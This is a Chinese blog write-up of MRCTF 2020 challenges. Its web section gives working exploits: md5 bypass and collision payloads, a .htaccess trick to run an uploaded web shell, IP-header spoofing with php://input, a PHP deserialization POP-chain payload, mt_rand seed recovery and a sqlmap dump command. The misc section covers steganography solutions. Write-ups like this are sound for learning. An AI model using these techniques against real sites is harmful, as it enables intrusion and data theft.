MRCTF 部分WriteUp

  • 2020 年 3 月 30 日
  • 筆記

前言

周末做了一下北郵的CTF,這裡記錄一下做出來的幾道題。(PS:比較菜有很多沒做出來 >_< ,還是要更加努力學習啊(ง •̀o•́)ง,剩下的等大佬們出了wp後在復現一下)

Web

ez_bypass

題目源碼:

I put something in F12 for you  include 'flag.php';  $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';  if(isset($_GET['gg'])&&isset($_GET['id'])) {      $id=$_GET['id'];      $gg=$_GET['gg'];      if (md5($id) === md5($gg) && $id !== $gg) {          echo 'You got the first step';          if(isset($_POST['passwd'])) {              $passwd=$_POST['passwd'];              if (!is_numeric($passwd))              {                   if($passwd==1234567)                   {                       echo 'Good Job!';                       highlight_file('flag.php');                       die('By Retr_0');                   }                   else                   {                       echo "can you think twice??";                   }              }              else{                  echo 'You can not get it !';              }            }          else{              die('only one way to get the flag');          }  }      else {          echo "You are not a real hacker!";      }  }  else{      die('Please input first');  }  }You got the first steponly one way to get the flag  

一、繞過md5強類型的比較(一月的安恆祈福賽有考過)

1、使用數組繞過?gg[]=1&id[]=2

md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密後得到的都是NULL,也就是相等的。

2、md5全等碰撞,直接傳兩個具有相同md5的字元串

gg=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&id=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7  

構造可以參考:[https://xz.aliyun.com/t/2232]:

二、繞過is_numeric()的檢測和php的==弱比較

is_numeric()的檢測只要傳一個非數字或數字字元串即可

==弱比較可以傳一個password=123456a

之後可以看到flag

你傳你?呢

把php的後綴都過濾了,試了一下.htaccess沒有過濾

那麼先上傳一個.htaccess內容如下的文件:

<FilesMatch "2.jpg">  SetHandler application/x-httpd-php  </FilesMatch>  

它會把2.jpg當作php解析

然後把小馬的後綴改為2.jpg上傳

蟻劍連接

蟻劍配置  http://2b8739dc-110e-4461-876e-a9b3860dc286.merak-ctf.site/upload/37366d578ca8a592ee9d8412e081fda1/2.jpg    密碼   value  

根目錄下看的flag

套娃

打開查看源碼可以發現

主要程式碼

$query = $_SERVER['QUERY_STRING'];  //相當於獲取?後面的值   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){       //?後面的值不能有_和 %5f(%5f是_的url編碼)      die('Y0u are So cutE!');  }   if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){      echo "you are going to the next ~";  }  

GET

?b.u.p.t=23333%0a  

前面是利用php特性 . 會被轉換為_

後面的正則匹配是利用$無法匹配換行符號%0a來進行繞過

返回FLAG is in secrettw.php,訪問之後

只有127.0.0.1才行,看一下源碼,發現JSPFUCk

複製放到控制台里運行,提示post一個Merak,隨便post一個值得到源碼

Flag is here~But how to get it? <?php  error_reporting(0);  include 'takeip.php';  ini_set('open_basedir','.');  include 'flag.php';    if(isset($_POST['Merak'])){      highlight_file(__FILE__);      die();  }      function change($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2 );      }      return $re;  }  echo 'Local access only!'."<br/>";  $ip = getIp();  if($ip!='127.0.0.1')  echo "Sorry,you don't have permission!  Your ip is :".$ip;  if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){  echo "Your REQUEST is:".change($_GET['file']);  echo file_get_contents(change($_GET['file'])); }  ?>  

首先偽造ip,這裡使用

client-ip: 127.0.0.1  

然後file_get_contents可以利用php://input,change只是簡單的改變了一下我們傳的值寫個反向的方法就行

<?php  function change($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2 );      }      return $re;  }    function change2($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) - $i*2 );      }      return $re;  }    // $flag='ZmxhZy5waHA=';  // $a=change2($flag);    $b='ZmpdYSZmXGI=';  $a=change($b);  echo $a;  ?>  

最終

GET  ?2333=php://input&file=ZmpdYSZmXGI=    POST  todat is a happy day  

得到flag

Ezpop

這是萌新的我,第一次看懂並做出來的POP題,之前也有聽說過POP,但一直沒有實踐,中途遇到了一個坑卡了賊久。。
當時參考這位師傅的部落格:[https://www.cnblogs.com/20175211lyz/p/11560311.html]:
但是我tcl沒看懂,於是決定一步一步分析

題目源碼

<?php  //flag is in flag.php  //WTF IS THIS?  //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95  //And Crack It!  class Modifier {      protected  $var;      public function append($value){          include($value);      }      public function __invoke(){          $this->append($this->var);      }  }    class Show{      public $source;      public $str;      public function __construct($file='index.php'){          $this->source = $file;          echo 'Welcome to '.$this->source."<br>";      }      public function __toString(){          return $this->str->source;      }        public function __wakeup(){          if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {              echo "hacker";              $this->source = "index.php";          }      }  }    class Test{      public $p;      public function __construct(){          $this->p = array();      }        public function __get($key){          $function = $this->p;          return $function();      }  }    if(isset($_GET['pop'])){      @unserialize($_GET['pop']);  }  else{      $a=new Show;      highlight_file(__FILE__);  }  

一些基礎知識

序列化和反序列化

所有php裡面的值都可以使用函數serialize()來返回一個包含位元組流的字元串來表示。unserialize()函數能夠重新把字元串變回php原來的值。 序列化一個對象將會保存對象的所有變數,但是不會保存對

象的方法,只會保存類的名字。

簡單來說,serialize()將一個對象轉換成一個字元串,unserialize()將字元串還原為一個對象。反序列化本身並不危險,但是如果反序列化時,傳入反序列化函數的參數可以被用戶控制那將會是一件非常危險的事情。

類和對象的概念就不多說了

幾個常用魔術方法及觸發條件

__construct //當一個對象創建時被調用,  __destruct //當一個對象銷毀時被調用,  __toString //當一個類或對象被當作一個字元串被調用。  __wakeup() //使用unserialize時觸發  __sleep() //使用serialize時觸發  __get() //讀取不可訪問屬性的值時  __set() //在給不可訪問屬性賦值時  __isset() //當對不可訪問屬性調用 isset() 或 empty() 時  __unset() //當對不可訪問屬性調用 unset() 時  __invoke() //當嘗試以調用函數的方式調用一個對象時  __set_state()//當調用 var_export() 導出類時,此靜態 方法會被調用。  __call() //在對象上下文中調用不可訪問的方法時觸發  __callStatic() //在靜態上下文中調用不可訪問的方法時觸發  

詳細參考官方手冊:[https://www.php.net/manual/zh/language.oop5.magic.php]:

public、protected、private的區別

public變數(公有)  直接將變數名反序列化出來  protected變數(受保護)  x00 + * + x00 + 變數名  private變數(私有)  x00 + 類名 + x00 + 變數名  

對於 x00 和 <0x00> 他們都表示空位元組,在構造的時候用 %00 來表示,如:

O:4:"Test":2:{s:4:"name";s:7:"lceFIre";s:6:"%00*%00age";i:18;}  

什麼是POP?

在反序列化中,我們所能控制的數據就是對象中的各個屬性值,所以在PHP的反序列化有一種漏洞利用方法叫做 "面向屬性編程" ,即 POP( Property Oriented Programming)。和二進位漏洞中常用的 ROP 技術類似。在 ROP 中我們往往需要一段初始化 gadgets 來開始我們的整個利用過程,然後繼續調用其他 gadgets。在 PHP 反序列化漏洞利用技術 POP 中,對應的初始化 gadgets 就是 __wakeup() 或者是 __destruct() 方法, 在最理想的情況下能夠實現漏洞利用的點就在這兩個函數中,但往往我們需要從這個函數開始,逐步的跟進在這個函數中調用到的所有函數,直至找到可以利用的點為止。下面列舉些在跟進其函數調用過程中需要關注一些很有價值的函數。

幾個可用的POP鏈方法

命令執行:

exec(),passthru(),popen(),system()  

文件操作:

 file_put_contents(),file_get_contents(),unlink()  

如果在跟進程式過程中發現這些函數就要打起精神,一旦這些函數的參數我們能夠控制,就有可能出現高危漏洞.

詳細參考:

下面分析和構造pyload

首先是找到入口方法也就是起點

很明顯只有Show裡面的__wakeup會在反序列化被調用

然後找一下終點,看一下最終我們利用的是哪個函數,瀏覽完所有方法,可以發現append方法里的include應該就是我們所需要的函數,我們可以利用它和php://filer協議來讀取文件

接下來從終點往前推

第一步

include在append方法里,那麼如何調用append方法?

這裡我們可以看到__invoke()方法里調用了append方法,且$this->var可控

class Modifier {      protected  $var;      public function append($value){          include($value);      }      public function __invoke(){          $this->append($this->var);      }  }  

第二步

如何調用__invoke()方法?

我們知道:當嘗試以調用函數的方式調用一個對象時,__invoke()會被調用

然後在Test類的__get()方法中,$this->p可控,當我們令它等於Modifier對象時,然後在return那裡就會觸發__invoke()方法

    public function __get($key){          //獲得一個類的成員變數時調用          $function = $this->p;          //Modifier          return $function();      }  

第三步

如何調用__get()方法?

在讀取不可訪問屬性的值時,__get()方法會被調用

然後看到Show類的__toString()方法,這裡的 $this->str可控,我們可以構建一個Show對象令它的 $this->str等於Test對象,這樣執行return時相當於返回 Test對象的source屬性,這裡由於Test對象里沒有source屬性,所以會觸發__get()方法

public function __toString(){          return $this->str->source;      }  

第四步

如何調用__toString()方法?

當一個類或對象被當作一個字元串時,__toString會被調用。

然後在我們的起點__wakeup()方法中,可以看到用preg_match對 $this->source進行了匹配,這裡 $this->source會被當做字元串,而 $this->source可控,那麼可以令它等於一個Show對象,從而觸發__toString方法

public function __wakeup(){          if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {              echo "hacker";              $this->source = "index.php";          }  

那麼完整的鏈就是

反序列化->__wakeup()->preg_match()->__toString()->__get()->__invoke()->append()->include()  

腳本

<?php  class Modifier {      protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';      #public $var='data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=';  }    class Show  {      public $source;      public $str;  }    class Test  {      public $p;  }  $obj_Modifier = new Modifier();  $obj_Test = new Test();  $obj_Test->p = $obj_Modifier;  $obj_Show1 = new Show();  $obj_Show1->str = $obj_Test;  $obj_Show2 = new Show();  $obj_Show2->source = $obj_Show1;  echo serialize($obj_Show2);  ?>  

pyload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}  

注意:var是受保護的變數所以要用 %00*%00var 代替 <0x00>*<0x00>var 來表示受保護的變數

寫在這題的最後

當時做題的我是看到了源碼中的 protected $var; 但是寫腳本的時候忘了得到的" * $var"要寫成"%00*%00var",然後就以為這個行不通。。

然後就想著用public弄個公有的var變數,應該也能讓它調用,然後就入坑了。。。

我在本地用PHPstudy(當時用的是php7.2版本,這是坑點。。)和題目源碼搭建了個簡單的環境測試了一下生成的pyload,可以讀取文件

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}  

然後我就高興的(有點sa..)拿著這個去打靶機,然後試了半天沒點反應,然後我就以為會不會是php協議用錯了(思路跑偏。。),去網上搜了半天關於include的利用。。

最後繞了一大圈才想到會不會是生成pyload時用的public的問題。。。

賽後我還是不理解為什麼我在本地那樣可以讀取文件,而在靶機不行,然後就去向群里的師傅們請教

這裡感謝 Mrkaixin師傅解答了我的困惑,是PHP版本的問題。

我測試了一下 5.2~7.2 的PHP版本(以下是個人理解寫的不對的地方還歡迎師傅們指出 ﹡ˆoˆ﹡ )

在php7.2版本以前通過反序列化生成的public變數,不能重置原有的protect或private變數,php7.2的可以並且能被所在類的方法調用(但是不能在外部調用),之後的應該也可以。

這裡可以看到我反序列化傳入的公有變數成功被__wakeup調用,但是外部用echo輸出不行

Ezaudit

打開是個網站,瀏覽一下沒有什麼可以利用的地方,那麼掃一下目錄

login.html是登錄介面

www源碼如下:

<?php  header('Content-type:text/html; charset=utf-8');  error_reporting(0);  if(isset($_POST['login'])){      $username = $_POST['username'];      $password = $_POST['password'];      $Private_key = $_POST['Private_key'];      if (($username == '') || ($password == '') ||($Private_key == '')) {          // 若為空,視為未填寫,提示錯誤,並3秒後返回登錄介面          header('refresh:2; url=login.html');          echo "用戶名、密碼、密鑰不能為空啦,crispr會讓你在2秒後跳轉到登錄介面的!";          exit;  }      else if($Private_key != '*************' )      {          header('refresh:2; url=login.html');          echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒後跳轉到登錄介面的!";          exit;      }        else{          if($Private_key === '************'){          $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';          $link=mysql_connect("localhost","root","root");          mysql_select_db("test",$link);          $result = mysql_query($getuser);          while($row=mysql_fetch_assoc($result)){              echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";          }      }      }    }  // genarate public_key  function public_key($length = 16) {      $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';      $public_key = '';      for ( $i = 0; $i < $length; $i++ )      $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);      return $public_key;    }      //genarate private_key    function private_key($length = 12) {      $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';      $private_key = '';      for ( $i = 0; $i < $length; $i++ )      $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);      return $private_key;    }    $Public_key = public_key();    //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???  

看完後可以知道,這裡需要求私鑰,然後再登錄的password那裡存在sql注入,flag應該就再user表裡

公鑰和私鑰的生成用的是 mt_rand() 函數,那麼這裡考查的應該是php偽隨機性

詳細可以參考wonderkun師傅的部落格:[http://wonderkun.cc/2017/03/16/php的隨機數的安全性分析/]:

之前一月的安恆祈福賽也考過

mt_rand函數是偽隨機性,只要使用相同的種子,所生成的隨機數序列一定是固定的。

但是在前面的內容里我們,並沒有看到設置種子,那麼它這裡應該是用mt_rand函數自動播種,而在php中使用mt_rand函數產生一系列的隨機數時,它的自動播種只進行了一次!(即多次調用 mt_rand()函數之前,只播種一次種子)

這裡公鑰已經告訴了,那麼可以通過它來求種子

那麼首先獲得已知$Public_key的每一位在$strings1中的位置:

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'  str2 = 'KVQP0LdJKRaV3n9D'  res = ''  for i in range(len(str2)):      for j in range(len(str1)):          if str2[i] == str1[j]:              res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '              break    P = [0 for i in range(17)]  print(P)  #整理成方便 php_mt_seed 測試的格式  

然後使用php_mt_seed爆破種子:

得到種子1775196155(注意種子對應的PHP版本)

然後就設置種子,這裡我猜測它應該是先生成公鑰在生成私鑰:

<?php  mt_srand(1775196155);//爆破出來的種子  $str_long1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";  $str='';  $len1=16;  for ( $i = 0; $i < $len1; $i++ ){      $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);  }  echo "<p id='p1'>".$str."</p>";  $str='';  $len1=12;  for ( $i = 0; $i < $len1; $i++ ){      $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);  }  echo "<p id='p1'>".$str."</p>";  ?>  

得到

<p id='p1'>KVQP0LdJKRaV3n9D</p><p id='p1'>XuNhoueCDCGc</p>  

這裡可以看到前面的公鑰和題目告訴的公鑰一樣,後面的就是私鑰

用私鑰登錄進去什麼都沒有,那麼flag在資料庫里沒得跑了,這裡試了一下貌似沒什麼過濾,那直接sqlmap一把梭
先去抓個包,然後保存成文件,-p指定參數

python sqlmap.py -r C:UserslenovoDesktopsql.txt -p password -D test -T user -C flag --dump  

拿到flag

Misc

ezmisc

png高度隱寫,010修改以下高度就行。。

千層套娃

這題剛開始和BJDCTF的TARGZ-Y1ng一樣(實在是太爽了~~哈哈),拿之前的腳本修改一下

#!/usr/bin/env python  # encoding: utf-8  import os  import filetype  import time  #sleep的單位是秒    number = 0  while 1:  	aa = os.popen('ls')  	filename = aa.read().replace('decompress.py','').replace('n', '')  	a = filename.replace('.zip', '')  	kind = filetype.guess(filename)  	#guess相當於載入文件  	number += 1  	try:  		if kind.extension is 'zip':  			#extension是獲取文件類型  			os.system("unzip -P {} {}.zip".format( a, a))  			time.sleep(0.01)  			os.system("rm {}.zip".format(a))  			time.sleep(0.01)  	except Exception as e:  		print('解壓完成')  		print('解壓了 {} 次'.format(str(number)))  		break  

得到一堆rgb

名字是qr,估計是個二維碼,
RGB轉圖片腳本如下:

#!/usr/bin/env python  # encoding: utf-8  from PIL import Image    x = 200    #x坐標  通過對txt里的行數進行整數分解  y = 200    #y坐標  x * y = 行數    im = Image.new("RGB", (x, y))   #創建圖片  file = open('qr.txt')    #打開rbg值的文件    #通過每個rgb點生成圖片    for i in range(0, x):      for j in range(0, y):          line=file.readline()          rgb = line.split("n")          rgb = rgb[0]          rgb=rgb.replace('(','')          rgb=rgb.replace(')','')          rgb = rgb.split(", ")          im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))    #將rgb轉化為像素    im.show()   #也可用im.save('flag.jpg')保存下來  

掃碼得到flag

不眠之夜

純手工拼。。

聽說有工具,之後在學習一波

尋找xxx

是個wav文件,Au打開,很明顯的DTMF撥號音,那麼選擇頻譜圖,設置一下最高和最低頻率,窗口大小和補零因子,方便觀察

詳細參考:[http://blog.sina.com.cn/s/blog_3cef24f001018m8v.html]:

然後對照表來分析

Unravel!!

題目描述:音樂一響。。。又回想起了在東京吃人的日子

真是懷念啊,初三開始看的,現在已經完結了。。。

不說了,下面是正題

開場給了三個文件,win-zip需要密碼(我最怕這種文件給的多的了,感覺b格很高不敢下手

我首先看的是wav,因為最近的比賽老是碰到音頻的題目。。

打開聽了一下很正常,Au分析一下也什麼都沒有,kali里binwalk一下還是什麼都沒有,然後感覺Look_at_the_file_ending.wav這個文件名有點東西,說看一下這個文件的結尾,010打開看了下,果然有東西

看著眼熟想不起來是啥了,base64解了一下是一堆亂七八糟的東西,不管了先放著

U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=  

然後看了一下png,windows能正常打開,放到kali里也能正常打開,沒什麼不對的地方

binwalk跑一下,發現有zip,那就foremost分離

zip解壓後打開

這裡它的文件名是aes.png

在聯想到之前的加密數據,我說怎麼看著有點眼熟,原來是aes,那麼Tokyo應該就是密碼了
在線解AES

得到CCGandGulu,這個就是win-win.zip的密碼

解壓後又是個wav,一頓操作後什麼,都沒發現。。

後來想到之前做音頻隱寫的時候聽過有音頻的LSB隱寫,但是一直沒遇到

簡單了解

SilentEye是一個跨平台的應用程式設計,可以輕鬆地使用隱寫術,在這種情況下,可以將消息隱藏到圖片或聲音中。它提供了一個很好的介面,並通過使用插件系統輕鬆集成了新的隱寫演算法和加密過程。如果之前不了解這款軟體,一般是很難發現圖片或聲音中藏有秘密。

然後用slienteye來解密,就拿到flag了 ~ ~ 嘿嘿